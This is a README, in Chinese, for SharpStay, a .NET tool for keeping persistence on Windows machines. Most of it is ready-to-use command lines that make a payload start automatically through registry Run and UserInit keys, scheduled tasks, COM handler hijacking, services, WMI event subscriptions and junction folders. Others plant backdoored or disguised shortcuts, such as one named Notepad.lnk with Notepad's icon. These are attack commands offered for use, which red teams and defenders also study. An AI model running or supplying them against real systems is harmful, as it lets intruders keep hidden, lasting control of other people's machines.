SharpStay

SharpStay - .NET 持久化

构建

打开 Visual Studio 项目并编译为发布版本。

选项

• 提权注册表项

• 提权 UserInit 注册表项

• 提权计划任务

• 提权创建服务

• 提权 WMI 事件订阅

• 非提权 InitMprLogonScript 注册表项

• 非提权计划任务 COM 处理程序劫持

• 非提权 Junction 文件夹

• 杂项：添加计划任务操作

• 杂项：启动目录

• 杂项：新建 LNK

• 杂项：后门 LNK

• 杂项：任务名称

• 杂项：列出计划任务

• 杂项：列出运行中的服务

• 杂项：获取计划任务 COM 处理程序

Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1

Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction

Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"

Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup 

Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}

Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"

Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"

Sharpstay.exe action=ListTaskNames

Sharpstay.exe action=ListScheduledTasks

Sharpstay.exe action=ListRunningServices

Sharpstay.exe action=GetScheduledTaskCOMHandler

cleanup=true 是每种持久化类型的一个选项。

属于 StayKit 的一部分